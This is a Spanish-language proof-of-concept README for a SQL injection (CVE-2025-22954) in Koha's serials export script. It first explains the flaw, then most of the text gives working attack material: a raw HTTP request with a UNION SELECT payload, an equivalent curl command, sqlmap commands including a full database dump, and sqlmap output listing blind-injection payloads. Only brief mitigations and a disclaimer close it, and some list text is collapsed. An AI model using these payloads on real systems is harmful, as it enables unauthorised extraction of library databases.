
Koha CVE-2025-22954: Inyección SQL en lateissues-export.pl
Este repositorio contiene una prueba de concepto para CVE-2025-22954, una vulnerabilidad de inyección SQL de criticidad alta (CVSS 10.0) en Koha anterior a la versión 24.11.02. La vulnerabilidad existe en la función GetLateOrMissingIssues en C4/Serials.pm, que es llamada por el script /serials/lateissues-export.pl. La vulnerabilidad puede explotarse mediante los parámetros supplierid o serialid.
| CVE ID | CVE-2025-22954 |
|---|---|
| CVSS v3 | 10.0 (Crítico) |
| EPSS Score | 0.03% (Top 5.26%) |
| Publicado | 12 de marzo de 2025 |
| Corregido en | Koha 24.11.02 |
| Referencia de error | Koha Bug #38829 |
| Notas de la versión | Koha 24.11.02 Release |
La vulnerabilidad se origina en el manejo inseguro de la entrada del usuario en los parámetros supplierid y serialid en el script lateissues-export.pl, que se pasa a la función GetLateOrMissingIssues en C4/Serials.pm. La función no sanitiza ni parametriza adecuadamente estas entradas antes de usarlas en consultas SQL, lo que permite ataques de inyección SQL.
El script vulnerable (lateissues-export.pl) contiene el siguiente código:
my $supplierid = $query->param('supplierid');
my @serialids = $query->multi_param('serialid');
# ...
for my $serialid ( @serialids ) {
my @missingissues = GetLateOrMissingIssues($supplierid, $serialid);
# ...
# update claim date to let one know they have looked at this missing item
updateClaim($serialid);
}
Es probable que la función GetLateOrMissingIssues en C4/Serials.pm contenga una construcción de consulta SQL vulnerable donde los parámetros $supplierid y $serialid se concatenan directamente en las sentencias SQL sin la parametrización adecuada.
Esta prueba de concepto demuestra cómo un usuario autenticado con acceso al módulo de seriales puede explotar esta vulnerabilidad para extraer datos sensibles de la base de datos de Koha o potencialmente obtener acceso no autorizado al sistema de base de datos subyacente.
lateissues-export.plLa siguiente solicitud HTTP sin procesar se puede utilizar para explotar la vulnerabilidad:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
curl -i -X GET "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,user(),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 -- -&serialid=1&csv_profile=1"
SQLMap se puede utilizar para automatizar la explotación de esta vulnerabilidad. Primero, capture una solicitud al endpoint vulnerable con cookies de autenticación válidas, luego use SQLMap para explotar el punto de inyección.
# Guarde una solicitud con cookies válidas en request.txt
sqlmap -r request.txt -p supplierid --dbms=mysql --level=5 --risk=3
Ejemplo de archivo request.txt:
GET /cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1 HTTP/1.1
Host: koha.example.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Connection: close
También puede explotar la vulnerabilidad directamente con SQLMap:
sqlmap -u "https://koha.example.com/cgi-bin/koha/serials/lateissues-export.pl?supplierid=1&serialid=1&csv_profile=1" \
-p supplierid \
--dbms=mysql \
--dump
GET parameter 'supplierid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: supplierid (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: supplierid=(SELECT (CASE WHEN (1285=1285) THEN 1 ELSE (SELECT 7101 UNION SELECT 6384) END))&serialid=5&serialid=7&csv_profile=1
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: supplierid=1 AND (SELECT 5817 FROM (SELECT(SLEEP(5)))eSKk)&serialid=5&serialid=7&csv_profile=1
---
[10:46:38] [INFO] the back-end DBMS is MySQL
[10:46:38] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 19.10 or 20.04 or 20.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[10:46:40] [WARNING] HTTP error codes detected during run:
Esta vulnerabilidad permite a un atacante autenticado:
Actualice a la versión 24.11.02 o posterior de Koha, que incluye una corrección para esta vulnerabilidad.
Si no es posible actualizar de inmediato, considere implementar las siguientes mitigaciones temporales:
/serials/lateissues-export.pl solo a direcciones IP de confianzaC4/Serials.pm para parametrizar adecuadamente las consultas SQL en la función GetLateOrMissingIssuesEsta prueba de concepto se proporciona solo con fines educativos y defensivos. Siempre obtenga la autorización adecuada antes de probar cualquier sistema en busca de vulnerabilidades.
El autor no es responsable del mal uso de esta información. Esta prueba de concepto solo debe utilizarse en sistemas que posea o para los cuales tenga permiso explícito para realizar pruebas.